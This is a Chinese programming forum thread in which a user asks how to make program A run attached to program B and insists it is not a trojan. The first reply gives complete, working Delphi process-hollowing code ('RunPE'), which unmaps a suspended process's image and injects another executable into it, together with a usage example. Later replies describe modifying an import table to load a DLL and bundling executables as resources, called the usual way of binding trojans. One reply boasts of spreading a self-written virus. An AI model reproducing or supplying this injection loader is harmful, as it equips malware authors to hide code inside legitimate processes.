自己写一个程序附加到其他程序里运行,不是什么木马病毒我写的是A程序,待附加程序是B  我把A附加到B里 A先运行B然后运行望高手给出思路或者源码谢谢。。写的不是木马病毒 只是想增加B程序的一些功能不胜感激,源码的话最好能给出注释或者说明谢谢

解决方案 »

  1.   


    unit uRunPE;interfaceuses Windows;type
      TByteArray = array of Byte;function RunEXE(sVictim:string; bFile:TByteArray):Boolean;
    function NtUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: Pointer): DWORD; stdcall; external 'ntdll.dll';implementationprocedure Move(Destination, Source: Pointer; dLength:Cardinal);
    begin
      CopyMemory(Destination, Source, dLength);
    end;function RunEXE(sVictim:string; bFile:TByteArray):Boolean;
    var
      IDH:        TImageDosHeader;
      INH:        TImageNtHeaders;
      ISH:        TImageSectionHeader;
      PI:         TProcessInformation;
      SI:         TStartUpInfo;
      CONT:       TContext;
      ImageBase:  Pointer;
      Ret:        DWORD;
      i:          integer;
      Addr:       DWORD;
      dOffset:    DWORD;
    begin
      Result := FALSE;
      try
        Move(@IDH, @bFile[0], 64);
        if IDH.e_magic = IMAGE_DOS_SIGNATURE then
        begin
          Move(@INH, @bFile[IDH._lfanew], 248);
          if INH.Signature = IMAGE_NT_SIGNATURE then
          begin
            FillChar(SI, SizeOf(TStartupInfo),#0);
            FillChar(PI, SizeOf(TProcessInformation),#0);
            SI.cb := SizeOf(TStartupInfo);
            if CreateProcess(nil, PChar(sVictim), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
            begin
              CONT.ContextFlags := CONTEXT_FULL;
              if GetThreadContext(PI.hThread, CONT) then
              begin
                ReadProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @Addr, 4, Ret);
                NtUnmapViewOfSection(PI.hProcess, @Addr);
                ImageBase := VirtualAllocEx(PI.hProcess, Ptr(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
                WriteProcessMemory(PI.hProcess, ImageBase, @bFile[0], INH.OptionalHeader.SizeOfHeaders, Ret);
                dOffset := IDH._lfanew + 248;
                for i := 0 to INH.FileHeader.NumberOfSections - 1 do
                begin
                  Move(@ISH, @bFile[dOffset + (i * 40)], 40);
                  WriteProcessMemory(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), @bFile[ISH.PointerToRawData], ISH.SizeOfRawData, Ret);
                  VirtualProtectEx(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), ISH.Misc.VirtualSize, PAGE_EXECUTE_READWRITE, @Addr);
                end;
                WriteProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @ImageBase, 4, Ret);
                CONT.Eax := Cardinal(ImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
                asm
                pushad
                mov eax,$00401000
                mov ebp,esp
                sub edx,$00010000
                popad
                end;
                SetThreadContext(PI.hThread, CONT);
                ResumeThread(PI.hThread);
                Result := TRUE;
              end;
            end;
          end;
        end;
      except
        CloseHandle(PI.hProcess);
        CloseHandle(PI.hThread);
      end;
    end;end.利用代码:
    program RunPE;uses
      Windows,
      uRunPE;var
      bBuff:  TByteArray;{$R 1.res}function FileToBytes(sPath:string; var bFile:TByteArray):Boolean;
    var
      hFile:  THandle;
      dSize:  DWORD;
      dRead:  DWORD;
    begin
      Result := FALSE;
      hFile := CreateFile(PChar(sPath), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
      if hFile <> INVALID_HANDLE_VALUE then
      begin
        dSize := GetFileSize(hFile, nil);
        SetLength(bFile, dSize);
        ReadFile(hFile, bFile[0], dSize, dRead, nil);
        CloseHandle(hFile);    if dRead = dSize then
          Result := TRUE;
      end;
    end;begin
      if FileToBytes('notepad.exe', bBuff) then
        RunExe(ParamStr(0), bBuff);
    end.这种代码网上比较多的。
      

  2.   

    把你的代码封装到一个DLL中
    修改B的引入表, 把你的DLL加进去 
    他的程序运行就会加载你的DLL
      

  3.   

    这象15年前的DOS下的病毒流行时,我要把自已的代码加了任意EXE后面,费了一番功夫,
    了解EXE文件结构后,一下子我的良性病毒就诞生了。很快全国就有了,不破坏。
    楼主的要求说起来简单,实现起来要费的功夫,这PE文件结构网上有,我有很详细的。但
    暂时还看不懂。
      

  4.   

    资源捆绑:把两个EXE文件以资源的方式放在你的DELPHI程序中,分别用DELPHI把它们
    释放出来,再用 SHELLEXECUTE 执行一下,这是共享软件中所常用的绑木马的方法。
    但是静态的。
      

  5.   

    楼主要求应该不难
    是静态的      
    所以用资源文件就可以了
    建议楼主网上查下资料
    可以查看我的博客
    http://blog.csdn.net/xiaofansong/archive/2010/12/01/6047025.aspx